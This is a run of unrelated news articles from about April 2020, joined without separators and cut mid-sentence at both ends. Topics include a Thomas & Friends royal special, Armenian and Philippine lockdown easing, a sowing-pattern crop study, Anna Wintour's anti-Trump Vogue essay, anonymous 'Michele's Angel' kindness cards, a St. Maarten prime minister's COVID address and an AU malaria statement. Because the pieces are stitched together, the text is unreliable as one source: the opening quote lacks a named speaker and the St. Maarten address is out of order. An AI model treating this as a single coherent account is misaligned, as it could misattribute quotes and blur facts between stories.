travel to London for first time on a mission to take Sir Topham Hatt to Buckingham Palace to receive an honour and features the Queen and a young Prince of Wales as characters. It also features a video introduction from the Duke of Sussex. She said: It is a beautiful and apt episode for the 75th anniversary of Thomas & Friends. It has all the key characters, some new ones and some unexpected ones. It puts Thomas front and centre by giving him a very noble and important challenge in which he emerges triumphant. There are some things that go wrong, some misunderstandings and a bit of confusion, but the message is that teamwork gets you through. She added: I was very excited to be asked to be in the 75th anniversary celebratory special. It was a lovely invitation to be asked to join a much-loved family and was a very easy yes. I also think it is fun to voice something mechanical like an engine rather than a person as you have to capture their busyness and the mechanics and somehow encapsulate that in the voice. I took it as a big responsibility to play Duchess. Thomas & Friends: The Royal Engine will air on Milkshake! on Channel 5 on May 2 at 9.05am and will stream on Netflix in the US on May 1 Prime Minister Nikol Pashinian announced on Tuesday plans to allow all businesses, including cafes and restaurants, to resume their operations in 10 days time despite the continuing spread of coronavirus in Armenia. Pashinian said the Armenian government will also further ease its restrictions on peoples movements already on Wednesday. Citizens will now be able to walk with their family members near their homes and to exercise in more distant locations, he said. Unless something extraordinary happens, we will minimize the restrictions regime in the next 10 days, Pashinian announced in a video message streamed live on Facebook. We now think that all sectors of economic activity should be reopened in the next 10 days. But for every sector the Ministry of Health must set certain safety rules. We will only maintain restrictions for the education system and then see what happens and react accordingly, he added. Pashinians government issued stay-at-home orders, banned public transport and shut down most businesses in late March. The spread of coronavirus in Armenia slowed significantly afterwards, leading the government to reopen some sectors of the domestic economy already on April 13. The government allowed late last week the resumption of more types of business activity and softened its restrictions on transport links between Yerevan and the rest of the country. Amid the easing of the nationwide lockdown, the daily number of new coronavirus infections in the country has increased over the past week. The Armenian Ministry of Health reported on Tuesday morning that the number of COVID-19 cases rose by 59 to 1,867 in the last 24 hours. It also said that one more person died from the disease, bring the death toll to 30. Speaking to RFE/RLs Armenian service on Sunday, Health Minister Arsen Torosian warned that due to the number of new infections the authorities will soon be unable to hospitalize or isolate most infected people. All people testing positive for the virus in Armenia have until now been taken to hospitals or hotels turned into temporary medical centers. There were 971 such patients kept there as of Tuesday morning, according to the Ministry of Health. In his latest video message, Pashinian did not comment on Torosians warning or the official COVID-19 figures. Higher yields and fewer weeds are possible if farmers sow wheat, maize, soy and other crops in more uniform spatial patterns, according to University of Copenhagen researchers. More precise sowing can also help reduce herbicide use and fertiliser runoff. One of the greatest challenges facing humanity is how to grow more food while reducing the negative impacts of agriculture upon the environment. Our ability to do so requires ever-more efficient and sustainable agricultural practices. The promising news is that researchers have found out that the spatial pattern in which a farmer sows their crops is an important determinant of what they will reap. "In the vast majority of cases, higher yields and fewer weeds are the result of sowing crops in a more uniform, grid-like pattern, where each plant is equidistant from its neighbouring plants, both within and between rows," says Professor Jacob Weiner of the University of Copenhagen's Department of Plant and Environmental Sciences. Professor Weiner and his colleagues from Northeast Agricultural University in China conducted a large metastudy of research in the area to discover the impact of uniform spatial patterns on crop yields and weed growth. The study, now published in the prestigious serial Advances in Agronomy, demonstrated that a uniform seeding pattern resulted in higher yields in 76% of trials, and fewer weeds in 73% of trials. In particular, the researchers looked at three of the world's most widely-cultivated crops: wheat, maize and soybean. In many studies, yields were roughly 20% higher, while one study yielded 60% more wheat and another, up to 90% more soybeans. With regards to weed growth, several studies resulted in more than a 30% reduction in weeds when traditional, less precise sowing was replaced by the uniform sowing pattern. "Our own research has demonstrated the positive effects of the uniform sowing of wheat when weeds are present, but the new study shows that this benefit extends to other crops, both with and without competition from weeds" says Professor Weiner. Win-win for the environment Today, a typical seeding machine sows in a fairly precise distance between rows. However, within each row, the distance between seeds is random, meaning that some plants have close neighbours, while others have distant ones. Conversely, when seeds are sown in uniform grid patterns, roots spread and occupy soil space faster, while more readily and efficiently absorbing nutrients. This helps to reduce the release of nutrients such as nitrogen. "From an environmental perspective, it's win-win. There is less nitrogen runoff, and herbicide can be reduced because there are fewer weeds to contend with. This ability to increase yields and mitigate environmental impacts contributes to more sustainable agriculture," according to the the professor. Above ground, the uniform grid pattern is advantageous because crop plants shade one another less during the early part of the growing season. One study estimateded that crop leaves covered the ground several weeks sooner when sown in a uniform sowing pattern. "It's a bit like a forest plantation, where trees are planted in a uniform pattern. In this way, there is nothing new to this principle. It just hasn't been seen as important for crops as it is for trees. People didn't believe that a sowing pattern could have such a significant impact for crops. But we were able to conclude that it does," says Jacob Weiner. Technically, this type of precision sowing has been a challenge. "But now, there are machines suited for the job and new ones are constantly being developed. This applies to both precision seeders and robots. You might pay more for the machine, but it's a one-time expense that pays itself off," says Jacob Weiner. FACTS: In the vast majority of cases, an even distribution of crops within rows results in higher yields and fewer weeds. When the distance between rows is reduced as well, even greater outcome are possible. The study also demonstrates that uniform sowing patterns are less effective in drier areas, while more effective in wetter ones. The study was conducted by Ping Lu and Baiwen Jiang from Northeast Agricultural University in Harbin, China and Jacob Weiner from the Department of Plant and Environmental Sciences at the University of Copenhagen. The study is published in the acclaimed serial, Advances in Agronomy. ### Anna Wintour has dared President Donald Trump to be the first to drink disinfectant after he proposed injecting cleaning agents into the body to kill coronavirus stressing that 'we must choose new leadership' in the coming election. In an opinion piece shared on Vogue's website on Monday, the 70-year-old editor-in-chief slammed the president while encouraging readers to join her in supporting his Democratic rival Joe Biden. 'I, like you, Im sure, dream of re-emergence. But what will that re-emergence look like?' she wrote of the global crisis. 'I think weve all gotten past the idea that life will simply snap back to normal. (Except our president, who thinks we should try drinking disinfectant mixed with sunshine. To which I say, you first.)' Takedown: Vogue editor-in-chief Anna Wintour, 70, slammed President Trump, 73, and his handling of the coronavirus pandemic in an opinion piece shared on the magazine's website Facts: She wrote that Trump thinks 'we should try drinking disinfectant mixed with sunshine.' The president proposed injecting disinfectant into the body last week to kill the virus 'Our economy is struggling in profound ways and will be struggling for some time to come. As all the scientists tell us, this virus will not simply disappear,' she continued. 'So, we must change as we re-emerge. We must adapt. We have to.' Trump proposed unorthodox new treatments for the coronavirus last Thursday during a White House press briefing, including injecting disinfectant into the body and the use of ultraviolet lights. 'I see the disinfectant, where it knocks it out in a minute, one minute, and is there a way we can do something like that?' he asked. 'By injection inside or almost a cleaning. As you see it gets in the lungs, and it does a tremendous number on the lungs. So it would be interesting to check that.' Trump, who studied finance and real estate, claimed the next day that he was being 'very sarcastic' when he asked government officials to study the idea injecting disinfectants as a possible cure for coronavirus. But minutes later, he confirmed that the idea was serious and he had asked experts to look into it. In her essay, Wintour said she hopes 'that change will be positive' post-pandemic, stressing that the country can only move forward if the American people have a president they can trust. Vogue approved: In her essay, Wintour also encouraged readers to join her in supporting Trump's Democratic rival Joe Biden in the upcoming presidential election 'I believeI profoundly hopethat our politics are changing,' she wrote. 'The nightmarish briefings from the White House are making this period were living through so much worse. Its a daily reminder, as if we needed one, that the coming election is the most important of our lifetimes. 'We must choose new leadership, because we will only re-emerge if we have a president who we can trust, who can be honest, who has the capacity for empathy, and who actually listens to science.' Wintour asked her magazine's readers to back Biden for president in the 2020 election this November, saying it's the most important election of their lives. 'Please join me in supporting Joe Biden, whose experience and decency, I believe, will make him that kind of president, and who I believe will put our country on a path to recovery,' she said. The fashion icon went on to note that climate change is another looming issue that Trump isn't taking seriously. 'Biden also understands that the long term challenge we face is not COVID-19 but climate change,' she said. 'Its almost eerie how clear our skies are now. How much cleaner our air has become. What an irony that a devastating pandemic has shown us how to take care of the planet better than we have. New look: A portion of Wintour's essay was shared on Vogue's Instagram page on Monday along with a photo of her running through the woods in a full tracksuit 'Iconic': Many people admittedly got a kick out of Wintour's cheeky line about Trump drinking disinfectant 'My hope is that under a new president we will find a way to rebuild sustainably. We must. So this is what I think about on my morning runs, as my head clears and the malaise ebbs,' she admitted. 'I think about the future with a sense of hope. I think about re-emergence. About coming out of this healthier, stronger, and more resilient.' A portion of Wintour's essay including the part where she dares Trump to drink disinfectant was shared on Vogue's Instagram page on Monday along with a photo of her running through the woods near her Hamptons home in a full tracksuit and Colin Kaepernick-designed Nike sneakers. The post has been liked more than 50,000 times in just eight hours, and many people admittedly got a kick out of Wintour's cheeky line about Trump drinking disinfectant. 'The queen has spoken,' one fan wrote, while another gushed that Wintour saying, 'To which I say, you first,' is 'iconic.' Wintour rebuked Trump for his handling of the coronavirus last month when she announced that New York's Met Gala would be postponed indefinitely due to the pandemic. Using her platform: The fashion icon also rebuked Trump for his handling of the coronavirus last month when she announced that the New York's Met Gala would be postponed Out of the city: Wintour has been working from her home in the Hamptons amid the pandemic She criticized the Trump administration for 'unforgivably' slow testing and treatment mobilization in response to the spreading contagion while endorsing Biden, who was still battling progressive Bernie Sanders for the Democratic nomination at the time. 'I, like so many of us, have been appalled by how he has responded to the pandemic the optimistic and fact-free assurances that all will be fine, the chaotic implementation of travel bans and claims about a ''foreign virus," the narcissistic ease with which he has passed blame to others, his dishonesty with the American people, and worst of all, his shocking lack of empathy and compassion for those who are suffering and fearful,' she wrote. 'Meanwhile, his administration has been unforgivably slow to provide testing, and to mobilize treatment to all who will need it. These weeks have been a reminder as if we needed a reminder that America must choose a new president.' British-born Wintour, who has helmed American Vogue for more than three decades, developed a longstanding relationship with Barack Obama during his White House tenure, holding high-rolling fundraisers for the Democratic former president. She also had a heavy hand in Hillary Clinton's ultimately failed election bid in 2016, raising money for the former secretary of state as well as launching a voter registration drive. Wintour was directly impacted by the pandemic earlier this month when her doctor son, Charlie, had contracted coronavirus after working to fight the deadly illness in New York City. She shared the news in a video posted on the Vogue Instagram account, explaining that the 35-year-old father-of-two was 'quite ill' and quarantining at home until he could return to the ICU at his hospital. Directly affected: Wintour revealed earlier this month that her doctor son, Charlie, had contracted coronavirus after working to fight the deadly illness in a New York City hospital Family: Charles, who has two daughters with his wife Lizzy, is a Chief Resident at Weill Cornell in New York City, the U.S. epicenter of the virus 'I am so proud of him and so grateful to all the health workers, first responders, nurses and doctors who are fighting to reduce the spread of the virus and to save lives,' she said. Charles, who has two daughters with his wife Lizzy, is a Chief Resident at Weill Cornell in New York City, the U.S. epicenter of the virus. As of Monday, New York City has more than 156,000 confirmed coronavirus cases. There have been 11,700 confirmed deaths and 5,228 probable deaths. Wintour recently credited her daughter-in-law, Lizzy, with her newfound interest in running amid the global crisis. She spoke about her time in quarantine with Naomi Campbell on her YouTube series No Filter With Naomi last Wednesday, revealing she has been trying to exercise more while in lockdown. 'I've taken up running,' she said. 'My daughter-in-law is a runner and she told me, "Well you just should run as much as your body lets you."' Wintour admitted that her new hobby hasn't been the easiest one to embrace, joking that her 'body keeps telling her to stop rather than run.' 'I'm working on it,' she said. 'I am [enjoying running]. I'm very lucky in that I'm able to run inside. My heart really goes out to people that are stuck in small apartments and confined spaces. 'I feel lucky that I can just run for the hour. It's a great release for me.' Ronnie Lomonacos wife Michele died unexpectedly. Since November, someone has anonymous, except for leaving cards as Micheles Angel, has been doing acts of kindness in her name and telling the people to let him know. He is shown with a photo of Michele on April 22. Read more When Ronnie Lomonaco got the first text message from a stranger last November something about thanks for breakfast he figured it was sent in error. Besides, the Delaware County man had a much weightier thing on his mind: The third anniversary of his wifes death was approaching. Michele Lomonaco had died unexpectedly from a pulmonary embolism on Dec. 7, 2016, at age 36, just four days after she and Ronnie had returned from their honeymoon. Time had done little to ease Ronnies grief. So he paid no heed to that odd message or to a second similar one he received from a different number shortly afterward. But then he received a third message from yet another number. This one mentioned Michele. I was starting to get upset, said Lomonaco, 37. I thought maybe it was a scam. I thought, Thats kind of low. But when he called the number, the person who answered explained that he and his family had been in a diner when their server told them that someone had paid for their bill and left behind a card. On the front, it identified the mysterious benefactor only as Micheles Angel." On the back was printed Lomonacos number and the suggestion that the recipient call or message Lomonaco to say that an act of kindness had been done in Micheles name. I was shocked, the widower said. I had never heard of anything like this. He would come to hear a whole lot more. From those first few texts, Ronnie has gotten calls and texts from scores of people close to 90 at last count who say they have been the recipients of random acts of kindness by individuals who have left behind no name, just a Micheles Angel" card. Lomonaco, who is director of sales and marketing for his familys business, Guida Door and Window, said he does not know who started it or how many others have picked up on it. I believe it has really picked up legs, with other people doing it as a pay-it-forward kind of thing, he said. Numerous people have had their tabs picked up at diners. One grandmother with cancer had a child hand her $100 with a Micheles Angel card in a Walmart. Someone received a Micheles Angel card from a kind stranger who stopped to change her flat tire. Another person was short on cash at a Giant supermarket when a Micheles Angel spotted her the difference and a card. M.R. Carter, 29, a SEPTA bus driver, was in line at Leandros Pizza in Upper Darby when the guy in front of him seemed to not have enough money to pay for his order. The man in line behind Carter piped up, I got it. Buy whatever you want. And then he insisted on paying for Carter, too. He gave me a card, Carter said. Somebodys Angel. READ MORE: Retired psychiatrist finds a new calling in helping dying military veterans Some of those who contacted Lomonaco to describe the acts of kindness theyd received in Micheles name were all too familiar with personal grief, like Mazel Lewis, 66, who told him she had lost a son. Lewis had been buying sheets at a Big Lots store when she realized she left her bank card in her car. She told the cashier shed be right back when the young man behind her offered to pay. Im from New York, said Lewis, a retired budget analyst. I thought, Whats up with that? But the young fellow seemed sincere, and as they walked out together, he explained what he was doing. Then he gave her a Micheles Angel card, and she called Lomonaco to tell him what had happened. I gave him my condolences, Lewis said. Always an Angel From the start, Michele was Ronnies angel. She was definitely my better half, he said. They met through Match.com and settled on Dave and Busters in Philadelphia as their first date. When they settled at the bar, he finally got to take his first good look at her. It was at that point I realized, here are the most beautiful green eyes I had ever seen. Ill never forget that look she had when she turned toward me in that moment, the way the light hit her eyes, he said. Its not that I fell in love with her at that moment, but I was just, Wow, I need to see her again. I just wanted to see her again. The day was Dec. 7, 2012, four years to the day before Michele died. But they were four full years. Love came pretty quickly. The couple got to have their dream wedding on Nov. 19, 2016, followed by a wonderful honeymoon in Mexico. On their fourth day home, Ronnie was hurrying to get to work. Michele, 36, a billing coordinator for Childrens Hospital of Philadelphia, didnt have to be up early, so Ronnie let her rest. I was almost at work when I received a call from her, gasping for air, saying, I cant breathe, I cant breathe! Those were her last words to me. I could hear the fear in her voice. I could hear her struggle, Ronnie said. He rushed home in time to see an ambulance pulling out. The first year after Michele died, Ronnie said, lots of family and friends tried to keep him busy. The second year was actually more difficult. I got depression, and I secluded myself from everyone. I was in self-quarantine pretty much. I just didnt move forward at all. On social media, he told his and Micheles story. He devoted a lot time to documenting what a kind, lovely person she had been. He also felt like a traitor like he should somehow have been able to protect the woman he loved. By the coming of the third year, Ronnie found himself asking Michele to help him find some relief from the guilt he felt. And then an angel stepped in, and created that mysterious Micheles Angel campaign. Whatever they sought to do, they succeeded because I have a renewed sense of life, said Ronnie. Seeing people recognize what a beautiful person Michele was really has changed my life. Its renewed my outlook. READ MORE: A Philly cop always wondered what happened to the child hed helped save. Then the two met. He said he doesnt need to know who started it. Theres something beautiful about not knowing. I dont even want to try to figure it out, he said. If the person ever wants him to know, that person can come forward when he or she is ready, he added. Im sure Ill be very grateful. Still good in the world One person who had an angel encounter thinks the angel may have needed healing, too. Natasha Lee, 38, a stay-at-mom who also happens to be a medium, was a little short of funds at a gas station in Upper Darby when a man offered to pay for her gas. He wouldnt tell her his name, but he gave her a Micheles Angel card. Lee said the man told her he didnt know what a medium was, so she told him. I said, I know [Michele] is very happy for what you did, and she thanks you, Lee explained. I said, I think you knew her personally, and you knew her heart, and you knew she was a good person. And he was about to cry, and I was about to cry. It was a beautiful moment. And with kindness leading to more beautiful moments, perhaps even broken hearts may begin to mend and lives can start to heal even with the coronavirus, Lomonaco said. Its all gloom and doom everywhere you go, and yet there is still beauty out there," he said. "There are still acts of kindness going on. You cant stop this world from having beauty even with a pandemic. Its made me realize there is still good in the world worth looking for. US President Donald Trump has ruled out making any changes in the date of the November 3 presidential election because of the coronavirus pandemic. I never even thought of changing the date of the election. Why would I do that? November 3, it's a good number, Trump told reporters at his White House conference. His likely Democratic opponent Joe Biden last week said Trump was considering changing the date. "Mark my words, I think he is gonna try to kick back the election somehow, come up with some rationale why it can't be held," Biden said during an online fundraiser. No, I look forward to that election and that was just made a propaganda not by him but by some of the many people that are working writing little segments. I see all of the time statements made you say something statement made per Joe Biden, Sleepy Joe, Trump said. He didn't make those statements. Somebody did but they said he made it. No, let him know I am not thinking about it at all. Not at all, he said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) PRESIDENT Rodrigo Duterte on Monday, April 27, said a shift to a modified community quarantine will happen soon. We might open partially...You wait for the...lalabas na ho...modified ang, ano natin, quarantine, he said in a late-night address to the nation after his meeting with some members of the Inter-Agency Task Force for the Management of Emerging Infectious Diseases. Restrictions will be eased first in sectors where social or physical distancing is possible, the President said. Kaya modified muna kasi kung magsiksikan kayo dyan sa LRT na naman, wala nang katapusan ang problema natin. It will never end and it will bring us down and down, he added. He said placing the capital under lockdown early allowed the country to maintain its international credit rating. Yung iba kasi, late nag-lockdown. Yung iba, kung ano pa. Tayo, sunod kaagad sa batas, he said. Duterte honored the uniformed men, especially those who were wounded or killed in continued attacks by the communist rebels. He also cited the military who have been transporting personal protective equipment, testing equipment for the novel coronavirus, and other essential materials for the health system. Naawa ako sa kanila. Kulang sa tulog, hindi sapat sa sahod, pero that is how it is. Pumasok tayo dyan, magtiis tayo, he said. Meanwhile, Duterte ordered the Food and Drug Administration (FDA) and the Department of Science and Technology (DOST) to employ as many employees as required to allow 24-hour operations. Iyong sabi ko we are not operating under normal battle conditions, we are operating in a crisis, kaya sabi ko the FDA , sa DOST mag doble sila ng tao, Duterte said. Pati yung mga laboratories ng DOST, they must run 24 hours. So magdagdag kayo ng maraming medtech or yung mga naka graduate na ng doctor, or anybody na nandiyan sa health services, if you want to volunteer, I have authorized both this offices to emply as many as required, he added. Duterte said that the national government will still purchase additional personal protective equipment for the countrys frontliners. Story continues We are still in the process -- bibili pa tayo ng maraming personal protective kits for our frontliners, he said. He added that medicines and aid must be delivered to National Task Force (NTF) Covid-19 chief implementer Carlito Galvez Jr., instead of the city health offices which have little to no manpower. I am informed that this will be completed in due time, ang utos ko ngayon is i-deliver ninyo yung medicines kay General Galvez, wag na sa city health, because they have no manpower to attend to these things, Duterte said. (With a report from Jove T. Moya/SunStar Philippines) Page Content COVID-19 Cases Based on the latest available data, the counts for April 27, as of 4:00 PM are as follows: Self-Quarantine: 98 Self-Isolation: 137 Number Hospitalized: 7 Number Tested: 302 o Number Positive: 75 Male: 53 Female: 22 o Number Negative: 220 o Number Pending: 6 o Inconclusive: 1 Deceased: 13 Recovered: 33 Active Case: 29 We wish all persons still struggling with the COVID-19 virus much strength, and we continue to work together with our doctors, CPS, and all our other front-liners to ensure that the number will flatten and go down. That is despite the ridiculous behavior, I have seen exhibited within the last 24 hours. We would like to extend our deepest sympathy to the family and friends of the deceased. We continue to fly our flags at half-mast in remembrance of every single life lost, and wish each and every person dealing with a COVID-19 death, as well as a regular death, much strength during these trying times. We are not able to comfort each other. Sometimes we are not even able to say goodbye. I do sympathize and empathize with each and every person, as that act of saying goodbye is really a part of the grieving process. I ask you to give yourself time, to sit, reflect, and lean on your faith as you deal with these trying times. The government of St. Maarten is solidarity with you. We will continue to do all we can to ensure that no one else goes through these trying times in the way that you are. Our CPS community outreach testing program continues this week with volunteers going into the district of Cul de Sac. The Cul de Sac district is quite large, therefore, this will take several days. This is to provide awareness and identify symptomatic persons for testing. CPS staff will be conducting training for their volunteers in health promotion so that they may approach the community from a holistic perspective, and not just for COVID-19. As we know, we have become weak because of the weakness of our health system and because of the fact that so many persons on St. Maarten are suffering from the diseases I mentioned before. In this way, CPS will not only be focusing on COVID-19 but on all other health aspects. The nurses continue to conduct contact tracing to identify all the persons who have been in contact with our positive cases. Moreover, in CPS efforts to keep the community informed, they have also created educational videos on social distancing, hand washing, the signs and symptoms of the COVID-19 virus, and how to use a mask properly, all in 3 different languages (English, Spanish, Creole). These will be released during the week, once they are ready. The baby clinics will be opening this week to resume immunizations, however, this will be appointment-based only. Due to the current state of emergency, we will be using the Community Help Desk location in Cole Bay for clients that are over the Cole Bay hill. COVID-19 data continues to be entered in the WHO Go Data app. We hope to produce reports or dashboards that could better inform us on how to continuously update the national strategy. Recently, we've put out some pie graphs which have received a good reception in the public and better explains not only the negatives but also the positive cases, whereby a majority of persons are negative. I must say that the recovery is also going very well for those persons who are following CPSs instructions and doing everything within their power to get well. Now is the time I want to address all the Jouvert morning revelers. Carnival was canceled way back in March. Many of you express dismay, sadness, etc. Carnival was supposed to start last week and people would post their old pictures remembering this, and remembering that, and looking forward to next year, but, some of us couldn't wait. It is very disconcerting to me that people are so desperate to go out in the streets and revel, that they forget what this lockdown is about. This is about your health. This is about death! When you go out, you are running the risk of infecting yourself, coming home, and infecting your entire family. These are the same communities where we are struggling with Social Services and Community Development to bring much-needed help in the form of food and later on, when we get to that, in the form of vouchers. Now, I have a vision for St. Maarten; that wed be an upstanding community of disciplined individuals whereby we are doing what is right, at the right time, for the right reasons. Now some of you, like those that went to the tequila party in Suriname, those of you who went in your little Jouvert John this fore day morning, disrupted your entire neighborhood and wreaked havoc making fun and jaunting and joisting with the police. Do you think you have gotten away with it? Well, think again. The investigation will continue, and all those having taken part in this, and in fact, promoting this, will be dealt with, within the rules of law. There are fines, there is jail, and all of that is waiting for all of you, who felt it necessary to put our public at risk. I will be sitting with ESF 5, which is the police department, and Law and Order, after all of the fines have been dealt out, as well as after who needs to be arrested, has been arrested. We will then look into the steps that will be taken to avoid whatever foolishness went on, spreading to any other community. It is really tough when the actions of one or a small group end up hurting the whole community. We were on our way out of a lockdown. The lockdown was supposed to be for two more weeks. Every week, we were releasing and de-escalating our measures so that more and more could take place. With your behavior, with your lack of discipline, and lack of thinking about the other man, now, we will have to reevaluate whether this lockdown will have to continue even longer. Many of you already anticipated this, but trust me when I say, I will not let the negligent behavior of a few make the rest of us have to pay for a lifetime. As such, I would like to remind you that due to the new addendum of the National Decree which was established to allow for the three days to be moved to Tuesday, Wednesday, and Thursday, this is week due to the holidays. I would like to remind you that only on Tuesday, Wednesday, and Thursday are you now allowed to go out for essential movement. I am gladly taking note of the many people who said, I am staying at home, I am taking deliveries. That is the best thing to do. The best way to avoid catching COVID-19 is by staying at home and exercising extreme and proper hand hygiene. If you must leave your home to do essential purchases, to get your family much-needed food, pay a bill, to cash a check, or to see a doctor, remember when you reach back home to take care and protect your family from what you may be bringing in. Remove your clothes and do not touch anyone or anything within the home until you've had a shower and put all your clothes to wash. This is the only way to save your family. So, I am hoping that all the Jouvert revelers, even though I saw some of them properly socially distanced, you definitely could not keep it up, especially if you were drinking. Many of you do not remember the 2015 Minister of Education who reinforced that anyone under the age of 15 was ever supposed to be in a dance party, which is what a Jouvert is. All of that is going to be looked into as well. All the locations that have been allowed to be open, will be open in zones A and B so that persons can stay in their zones to do their essential business. The operating hours are the same as it was before the state of emergency was enforced. All the telecommunication operators and service providers have been reminded to adhere to all the social distancing and precautionary measures just like every other business that has been allowed to be open. Therefore, there must be a way to sanitize hands before entering the location and maintaining a proper social distance from every other person within the establishment. This is an order for us to mitigate the spread of COVID-19. I pray that all of you making use of these amenities will keep in mind that your own safety is your responsibility. So, take heed to keep that 2-meter distance from each person. Persons are reminded that the banks are also open on Tuesday, Wednesday, and Thursday and that you should stay within your zones in order to minimize traffic and crowds. If we want this lockdown to be discontinued, I strongly advise persons to always practice proper social distancing measures. This way, we can start to go back to our new normal, rather than the present lockdown situation, which we are facing and which others are facing all around the world. To release our measures too quickly would be putting our people at risk. Therefore, even when the lockdown has been called off, it will then be de-escalated very, very, slowly. I'm asking the people of St. Maarten; those of you that are sending me letters, requesting to open such and such businesses, to be just a little bit more patient with us. Our lockdown is scheduled to go right into May, 2 more weeks to be exact and I'm asking the people of St. Maarten not to make the mistakes of those persons that went out in the streets yesterday. Stay at home. We have our musicians telling you to stay at home. We have our artists asking you to stay at home. We have our first responders and front-liners on the medical field asking you to stay home so that they can do their work. Yet, even if it's one percent, even if it is five percent, it only takes that amount to disrupt the entire community. Because when that person goes to the supermarket and rubs shoulders with you because you don't care about social distancing. You are, therefore, exposing them to what you don't care about. Many, many, people who are now having COVID-19, have very limited symptoms. They are not tapping their chest with coughs, colds, and high fevers. Young healthy persons won't feel it that way. However, when you come in contact with the grandmother, mother, father, little brother, or sister that you love, and that person ends up being so sick that they pass away, can you live with that on your conscience? I do not think so. So, for your own good, for the good of St. Maarten, though we are St. Maarten strong, though we are resilient, though we are blessed, do not fly in the face of God. As of April 24th, the inspection of TEATT has been controlling the supermarkets and have done so 139 times. Everyone who is asking about price violations, we have observed that there have been price violations on powdered milk, rice, corn beef, disinfectant, and even sardines. The businesses have been fined heavily. 28 fines have been issued totaling 7000 Guilders for price violations to date since the COVID-19 locked down. 30 fines totaling 3400 guilders have been issued for businesses who have opened illegally. 73% of the supermarkets controlled were found to be open. 68% of supermarkets controlled were found to be implementing social distancing. 3 official complaints have been received by the department on price gouging. All 3 were investigated and no evidence of price gouging has been found to date. This update was just so that you may know that the inspectorate within all Ministries is doing their jobs. We are doing that to maintain safety. When you reach a supermarket people of St. Maarten, and you see that people are not properly spaced out, do not go to that supermarket. Report them and they too will be fined. In our continued efforts to inform, educate, and make our citizens aware of the good practices, we have produced a video outlining the regulations that supermarkets and grocery stores must follow. All supermarkets, grocery stores as well as all other businesses that are allowed to be open, should also use and apply these practices in their place of business. These regulations have been set in the best interest of us all to protect and prevent the further spreading of COVID-19. I have said over the weeks, that with more testing we expected to see our numbers rise, but luckily, they are not rising as quickly or as much as we had anticipated. If we continue like this, the curve will continue to flatten and then slowly go down. I hope that this can happen within the next two weeks and hopefully, the wreckless behavior of certain persons wont carry it back up. I encourage each and every single person on St. Maarten to continue checking up on each other, continue to look via social media, your phone, the internet, and lets stay in touch because everyone needs to stay in contact with another; we are humans. Someone brought to my attention that some of us are humans just doing, instead of humans being. We are created to be human beings. Let us be the best humans that we can. Look out for yourself and look out for our fellow man. You never know in what way you can be a beacon of hope for someone in need. As we continue to battle COVID-19, rest assured that together with the EOC, the Council of ministers and their respective teams, we are working tirelessly as one team one; Team St. Maarten. One team St. Maarten, working to mitigate, contain, and kill this deadly spread of the COVID-19 virus. Let me remind you St. Maarten is blessed. However, St. Maarten is you, and St. Maarten is me and each of us. In addition, the way we behave will determine how long this lockdown will last. I encourage all of you who know of someone who may have gone to the Jouvert, tell them to isolate themselves from now for at least the next 14 to 21 days and not to leave their homes, just in case they got infected last night. This is to save you, this is to save them, this is the save me and this is to save St. Maarten. Do your part bring more blessings on St. Maarten. I wish each and every one of you a blessed week. Today's Kings Day, and we wish him a Happy Birthday, King Willem-Alexander. I would like to remind each and every one of us to stay strong, stay blessed, and be faithful and stay home, wash your hands and make sure to keep a 2-meter distance when you must go outside. Have a blessed day St. Maarten. People of St. Maarten, I hereby address you as Prime Minister and Chair of the Emergency Operations Center (EOC), in an update for today, Monday, April 27, 2020, as part of the process to keep the community of St. Maarten informed about the latest developments and the Governments COVID-19 containment, mitigation and response measures. Source: Xinhua| 2020-04-28 19:24:30|Editor: huaxia Video Player Close File photo shows an agricultural technician (L) teaching a farmer how to plant Artemisia Absinthium at the Nane Nane Festival in Arusha, Tanzania. Artemisia Absinthium is the raw material of Artemisinin, which is the key element in anti-malarial drugs. (Xinhua/Yi Gaochao) The African Union (AU) has urged governments and people on the continent to remain committed to ending malaria in Africa, especially in light of the ongoing COVID-19 pandemic. ADDIS ABABA, April 28 (Xinhua) -- The African Union (AU) has urged governments and people on the continent to remain committed to ending malaria in Africa, especially in light of the ongoing COVID-19 pandemic. The AU made the appeal in a statement on Monday as the 55-member pan-African bloc joins the world to celebrate the World Malaria Day. It said progress is tangible and visible in communities as more countries draw closer to elimination of malaria. Three AU members have been declared malaria-free. "This success stands to show that elimination of malaria in Africa is attainable," the statement said. However, the COVID-19 outbreak is threatening to hamper efforts and stunt progress in fighting malaria. According to a new modelling analysis released by the World Health Organization, severe disruptions to access to antimalarial medicines and prevention-based campaigns could lead to doubling in number of malaria deaths in sub-Saharan Africa this year compared to 2018. The AU Commission called for unwavering commitment and perseverance of the people and leaders of member states through this unprecedented time. It urged leaders to not only prioritize funding and programs that will save more lives, but to also step up as champions for the fight against killer diseases such as malaria. Appointed to be chair of the African Leaders Malaria Alliance (ALMA) earlier in 2020, Kenyan President Uhuru Kenyatta announced four priorities for his two-year term, with the aim to eliminate malaria from the continent by 2030. The priorities include digitization and real-time data sharing, engagement with regional economic blocs and the youth. "We know that achieving these four priority areas will accelerate progress towards a malaria-free Africa," AU Commissioner for Social Affairs Amira El-Fadil said. When Terry Gallogly trained her first therapy dogs, she had a simple goal: to bring joy to her little niece. Lily was born in 2009 with a developmental disorder called lissencephaly, in which the brain does not have the usual creases and folds. The condition, also called smooth brain, affects her ability to grow, move and speak. There really wasn't too much I could do for her, Gallogly, of Smithtown, New York, told TODAY. It was pretty severe. Even as a baby, there were moments when Lily seemed to light up, like when she saw her toddler big brother. That spark started Aunt Terry thinking about other ways to brighten Lilys days. For her to smile, that was a huge thing, that was a huge movement, Gallogly said, and her brother could make her smile. I just felt that the energy of dogs and ... small children were similar and I said I was going to get therapy dogs and visit her. Terry Gallogly's niece Lily with therapy dog Ken. (Courtesy of Terry Gallogly) Gallogly bought and trained two goldendoodle puppies named Ken and Barbie. At a year old, Ken was certified for animal-assisted activities, often referred to as dog therapy. She said it took six more months before Ken was allowed to visit then-4-year-old Lily in the hospital, but her reaction was instant. She's in a wheelchair and I took her hand and put it on Ken's head and she started processing right away, Gallogly told TODAY. We've been visiting ... every week since. Ken, and later Barbie, started visiting other children at St. Marys Hospital for Children on Long Island, too. They play fetch and receive pets from the kids, some of whom Gallogly said had never interacted with a dog because theyd always been in the hospital. Lily is now 11 years old, surpassing estimates for kids born with smooth brain. Related: Gallogly was touched by the response the children had to Ken and Barbie and wanted to be able to bring the therapy dogs to kids who went home. In 2016, she started the nonprofit Therapy Dogs of Long Island, which now brings certified dogs to people with physical or mental health challenges at private homes, schools and senior care facilities, in addition to hospitals. Animal-assisted therapy has been shown to help with psychological 